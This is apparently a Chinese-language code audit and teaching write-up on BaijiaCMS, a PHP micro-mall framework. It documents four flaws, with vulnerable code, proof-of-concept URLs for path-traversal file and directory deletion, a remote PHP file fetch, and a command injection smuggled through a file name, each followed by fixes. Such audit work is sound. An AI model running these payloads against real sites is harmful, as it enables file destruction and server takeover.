百家cms代码审计
字数 1103 2025-08-25 22:58:29

百家CMS代码审计与漏洞分析教学文档

一、百家CMS简介

百家CMS微商城是一款免费开源的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布。

二、漏洞概述

1. 任意文件删除漏洞

  • 影响版本:未明确
  • 漏洞类型:文件操作漏洞
  • 危害等级:高危
  • 利用条件:无需后台权限

漏洞详情

漏洞位于/system/eshop/core/mobile/util/uploader.php文件中:

elseif ($operation == 'remove') {
    $file = $_GPC['file'];
    file_delete($file);
    show_json(1)
}

利用方式

http://127.0.0.1/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../qwe.txt

防御建议

  • file参数进行严格过滤
  • 限制删除操作的文件路径范围

2. 任意路径删除漏洞

  • 影响版本:未明确
  • 漏洞类型:目录操作漏洞
  • 危害等级:高危
  • 利用条件:需要后台权限

漏洞详情

漏洞位于/system/manager/class/web/database.php文件中:

if($operation=='delete') {
    $d = base64_decode($_GP['id']);
    $path = WEB_ROOT . '/config/data_backup/';
    if(is_dir($path . $d)) {
        rmdirs($path . $d);
        message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
    }
}

利用方式

http://127.0.0.1//index.php?mod=site&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==&beid=1

(其中Li4vLi4vdGVzdA==../../test的base64编码)

防御建议

  • 对解码后的路径进行合法性检查
  • 限制删除操作只能在特定目录下进行

3. 远程文件上传漏洞

  • 影响版本:未明确
  • 漏洞类型:文件上传漏洞
  • 危害等级:高危
  • 利用条件:需要后台权限

漏洞详情

漏洞位于/system/public/class/web/file.php文件中:

if ($do == 'fetch') {
    $url = trim($_GPC['url']);
    $file=fetch_net_file_upload($url);
    if (is_error($file)) {
        $result['message'] = $file['message'];
        die(json_encode($result));
    }
}

利用方式

http://127.0.0.1/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php

防御建议

  • 限制可上传的文件类型
  • 对远程文件内容进行检查
  • 设置上传文件的白名单

4. 远程命令执行漏洞(RCE)

  • 影响版本:未明确
  • 漏洞类型:命令注入
  • 危害等级:严重
  • 利用条件:需要后台权限

漏洞详情

漏洞位于/system/weixin/class/web/setting.php文件中:

if(!empty($settings['image_compress_openscale'])) {
    $scal=$settings['image_compress_scale'];
    $quality_command='';
    if(intval($scal)>0) {
        $quality_command=' -quality '.intval($scal);
    }
    system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path)
}

利用方式

  1. 在后台设置中开启图片缩放功能
  2. 创建名为&命令&.txt格式的文件
  3. 上传该文件触发命令执行

防御建议

  • 使用escapeshellarg()或escapeshellcmd()函数过滤命令参数
  • 避免直接使用用户输入作为系统命令的一部分

三、代码结构分析

addons/         插件
api/            接口
assets/         静态文件
attachment/     上传目录
cache/          缓存目录
config/         系统文件
include/        系统文件
system/         后端代码

四、安全建议

  1. 输入验证:对所有用户输入进行严格过滤和验证
  2. 权限控制:严格区分前后台权限,避免越权操作
  3. 文件操作:限制文件操作的范围和权限
  4. 命令执行:避免直接使用用户输入构建系统命令
  5. 日志审计:记录所有敏感操作日志

五、总结

百家CMS存在多个高危漏洞,包括任意文件删除、任意路径删除、远程文件上传和命令执行漏洞。这些漏洞大多源于对用户输入缺乏充分验证和过滤,以及不安全的系统命令调用方式。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并避免直接使用用户输入构建系统命令或文件路径。

百家CMS代码审计与漏洞分析教学文档 一、百家CMS简介 百家CMS微商城是一款免费开源的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布。 二、漏洞概述 1. 任意文件删除漏洞 影响版本 :未明确 漏洞类型 :文件操作漏洞 危害等级 :高危 利用条件 :无需后台权限 漏洞详情 漏洞位于 /system/eshop/core/mobile/util/uploader.php 文件中: 利用方式 防御建议 对 file 参数进行严格过滤 限制删除操作的文件路径范围 2. 任意路径删除漏洞 影响版本 :未明确 漏洞类型 :目录操作漏洞 危害等级 :高危 利用条件 :需要后台权限 漏洞详情 漏洞位于 /system/manager/class/web/database.php 文件中: 利用方式 (其中 Li4vLi4vdGVzdA== 是 ../../test 的base64编码) 防御建议 对解码后的路径进行合法性检查 限制删除操作只能在特定目录下进行 3. 远程文件上传漏洞 影响版本 :未明确 漏洞类型 :文件上传漏洞 危害等级 :高危 利用条件 :需要后台权限 漏洞详情 漏洞位于 /system/public/class/web/file.php 文件中: 利用方式 防御建议 限制可上传的文件类型 对远程文件内容进行检查 设置上传文件的白名单 4. 远程命令执行漏洞(RCE) 影响版本 :未明确 漏洞类型 :命令注入 危害等级 :严重 利用条件 :需要后台权限 漏洞详情 漏洞位于 /system/weixin/class/web/setting.php 文件中: 利用方式 在后台设置中开启图片缩放功能 创建名为 &命令&.txt 格式的文件 上传该文件触发命令执行 防御建议 使用escapeshellarg()或escapeshellcmd()函数过滤命令参数 避免直接使用用户输入作为系统命令的一部分 三、代码结构分析 四、安全建议 输入验证 :对所有用户输入进行严格过滤和验证 权限控制 :严格区分前后台权限,避免越权操作 文件操作 :限制文件操作的范围和权限 命令执行 :避免直接使用用户输入构建系统命令 日志审计 :记录所有敏感操作日志 五、总结 百家CMS存在多个高危漏洞,包括任意文件删除、任意路径删除、远程文件上传和命令执行漏洞。这些漏洞大多源于对用户输入缺乏充分验证和过滤,以及不安全的系统命令调用方式。开发人员应重视安全编码实践,对所有用户输入进行严格过滤,并避免直接使用用户输入构建系统命令或文件路径。